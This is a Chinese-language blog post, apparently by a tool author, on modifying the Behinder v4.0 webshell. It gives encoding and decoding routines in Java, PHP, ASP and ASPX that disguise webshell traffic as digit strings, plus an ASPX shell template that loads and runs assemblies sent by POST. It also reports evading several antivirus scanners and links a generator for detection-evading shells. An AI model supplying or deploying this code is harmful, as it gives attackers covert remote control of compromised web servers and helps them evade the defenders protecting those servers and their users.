前言 熟悉冰蝎的小伙伴都知道,冰蝎v4.0相对于3.0版本,更新了较多内容,其中包括了开放了传输协议的自定义功能,但是似乎并没有多少人用过冰蝎4.0的内容,4.0更新的主要就是让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。 什么意思呢,就是无论冰蝎和哥斯拉都是在以前的版本中,协议都是定死的,比如请求包和回显包都进行aes加密,aes解密。这个aes加解密是定死的,你想用des是不可以的。那么冰蝎4更新后,我们可以定义自己的协议,也就可以实现des了。 这个功能是不是很熟悉,其实在蚁剑中早已有了,就是编码和解码器。可以定义自己编码器也可以不定义解码器
就是这样,请求包混淆,但是返回包是裸着的。这便是自定义协议了。
我们先来看下应该怎么用,打开冰蝎4.0,我们会看到一个传输协议界面
点进去就可以看到相关的配置了,这里先说一下冰蝎的数据流转图
这个是所有webshell的数据流转图。 假设bohemian为payload,本地加密 bohemian 为 098111104101109105097110后 发出,在🐎中有一个解密函数 ,把098111104101109105097110解为bohemian,然后eval(bohemian),执行的结果为bohemian ,加密为098111104101109105097110,客户端将获得返回的098111104101109105097110解密为bohemian,显示出来,这样我们就在流量中看到是编码过的流量了,不再是bohemian。
本地加解密 我们先来看下本地加密和解密,原版流量 这里我们想实现的流量是
所以我们先本地加解蜜,很好理解因为我们的客户端时java写的,那么本地加密必然是java的代码,仿照模板进行写一下,本地加密
1 2 3 4 5 6 7 8 9 10 11 private byte [] Encrypt(byte [] data) throws Exception { StringBuilder out = new StringBuilder(data.length * 3 ); for (int i = 0 ; i < data.length; i++) { int v = data[i] & 0xFF ; out.append((char ) ('0' + (v / 100 ))); out.append((char ) ('0' + ((v / 10 ) % 10 ))); out.append((char ) ('0' + (v % 10 ))); } return out.toString().getBytes("UTF-8" ); }
本地解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private byte [] Decrypt(byte [] data) throws Exception { String raw = new String(data, "UTF-8" ); String digits = raw.replaceAll("\\D" , "" ); if (digits.length() % 3 != 0 ) { throw new IllegalArgumentException("cipher length not multiple of 3: " + digits.length()); } byte [] result = new byte [digits.length() / 3 ]; for (int i = 0 ; i < digits.length(); i += 3 ) { int ascii = (digits.charAt(i) - '0' ) * 100 + (digits.charAt(i+1 ) - '0' ) * 10 + (digits.charAt(i+2 ) - '0' ); result[i/3 ] = (byte ) ascii; } return result; }
gpt简单写一下,
就可以实现了。
php 接下来实现php php实现也很简单,就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function Encrypt ($data ) { $result = '' ; for ($i = 0 ; $i < strlen($data ); $i ++) { $byte = ord($data [$i ]); $result .= str_pad((string )$byte , 3 , '0' , STR_PAD_LEFT); } return $result ; } function decrypt ($input ) { $input = (string )$input ; $result = '' ; for ($i = 0 ; $i < strlen($input ); $i += 3 ) { $segment = substr($input , $i , 3 ); $result .= chr((int )$segment ); } return $result ; }
用php去实现加解密函数就可以了,最后要return一下。 然后就可以了 测试了 。
这个时候就可以测通代码了。之后我们就可以用了。
测试一下功能。没有问题。 不能说流量很那啥,只能说,这种流量你肯定是第一次见。 这样的化,php就改好了,那么看一下木马 这就我们就会发现,没有那种xor啥的的,就是纯纯的字符转ascii,代码也是很短的。
接下来就是免杀了。
围布这小子,咋改都是未知,gpt分析的嘎嘎对,就这吧,太菜了。
阿里云怎么对抗都是 可疑 简直过不去,河马显示机器学习,这机器学习还挺厉害,大概率还是eval那里,后面我们在研究。接下来就是把木马变量整成动态的即可了。花费一点时间调一下。
jsp 接下来是jsp,我们本地的代码只需要一次即可,不需要再jsp中再次进行写了,远程还是要写一下的。其实也不用,我们本地和远程的jsp的加解密用的是一个代码。
会话流量,这样就可以了。
免杀的详细就不在这里讲了,有兴趣的同学看看以前的免杀思路,万变不离其宗。
不知道为啥jsp微步的gpt不介绍一下了。
接下来就是无聊的花一点时间进行封装和动态的替换变量了,不在详细介绍。
asp asp的话也不是很难,先把字符串的加解密函数写一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Function Encrypt(data) Dim result, i, ch, asciiStr result = "" For i = 1 To Len(data) ch = Mid(data, i, 1) asciiStr = CStr(Asc(ch)) ' 把字符转成ASCII数字字符串 If Len(asciiStr) < 3 Then asciiStr = String(3 - Len(asciiStr), "0") & asciiStr End If result = result & asciiStr Next Encrypt = result End Function Function Decrypt(content) Dim iByte, strData Dim result, i, segment, ascii strData = "" For iByte = 1 To LenB(content) strData = strData & Chr(AscB(MidB(content, iByte, 1))) Next result = "" For i = 1 To Len(strData) Step 3 segment = Mid(strData, i, 3) If IsNumeric(segment) Then ascii = CInt(segment) result = result & Chr(ascii) End If Next End Function
来看下流量,
asp的流量有点小怪,返回包中间有空格
和这个response.wite 和 response.binarywrite 有关。这里能用 先不改源码。 然后花一点时间,进行免杀和动态变量一下。
免杀依旧没问题,就是啥把,这个微步有没有gpt了。
asp可以过阿里云
依然还是过不了阿里云,太难了。
aspx aspx的话呢,也不难,先写一下加解密函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 private byte[] Encrypt(byte[] data) { StringBuilder sb = new StringBuilder(); foreach (byte b in data) { sb.Append(b.ToString("D3")); // 每个字节转3位数字 } // 把字符串再转回 byte[],用于网络传输或写入文件 return Encoding.UTF8.GetBytes(sb.ToString()); } private byte[] Decrypt(byte[] encodedData) { string str = Encoding.UTF8.GetString(encodedData); List<byte> result = new List<byte>(); for (int i = 0; i < str.Length; i += 3) { string segment = str.Substring(i, 3); byte b = byte.Parse(segment); result.Add(b); } return result.ToArray(); // 得到原始字节数组 } //模板 <%% //byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(%s(c)).CreateInstance("U").Equals(this); if (Request.HttpMethod == "POST") { byte[] c=Request.BinaryRead(Request.ContentLength); string asname=System.Text.Encoding.ASCII.GetString(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2e,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79}); Type assembly=Type.GetType(asname); MethodInfo load = assembly.GetMethod("Load",new Type[] {new byte[0].GetType()}); object obj=load.Invoke(null, new object[]{Decrypt(c)}); MethodInfo create = assembly.GetMethod("CreateInstance",new Type[] { "".GetType()}); string name = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 }); object pay=create.Invoke(obj,new object[] { name }); pay.Equals(this); } %%>
原本的模板就不在替换了。只写加解密函数即可。
简单测试一下。没有问题。 花点时间封装一下。接下来看下免杀。
阿里云也过了。还是那就话,阿里云不检测.net的。
简单看下流量也没啥问题。
使用 那么怎么使用呢,很简单,这里已经写好了。
冰蝎3和冰蝎4,点击这个免杀生成4,
输入一下协议名称,
会生成多个文件,config是协议名称,其他都是木马
点击传输协议,导入刚刚的config,
新增url的时候,点击自定义,就会有显示传输协议,选中刚刚的传输协议就可以了。 是不是很简单。这个其实不用每次都生成,因为导入的都是定死的,只是每次生成的木马是不同的。
总结 在界面添加了冰蝎免杀4生成的按钮,这样在找马的时候就不会手忙脚乱的了,直接生成即可。这里也算进行了简单的免杀,全部语言除了 aliyun没有过去,其他的平台基本全过,aspx的阿里云过去了。不得不承认,aliyun是强的。到这里你会发现,这个马是没有密码的,是的,我们用协议代替了密码,自己定义协议即可。
下个版本 目前就只是更新了这个可以实现ascii的版本吧,后面看看有没有更好的流量方式,太复杂了有点明显,感觉最好还是伪装成正常的流量,好看一点吧。当然,如果你有什么好的建议或者思路,留言即可。
下载、使用 什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。https://github.com/Bohemiana/behinder_erkai 如果感觉还凑合,大家帮忙点点star
致谢 最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行,帮笔者点点stars、给公众号点点关注,先谢谢大家了。
参考 1 2 3 https://github.com/rebeyond/Behinder 原版behinder https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A 冰蝎v4.0传输协议详解 https://xz.aliyun.com/news/11899 冰蝎4.0流量分析及魔改
emmm 太菜了 一直在路上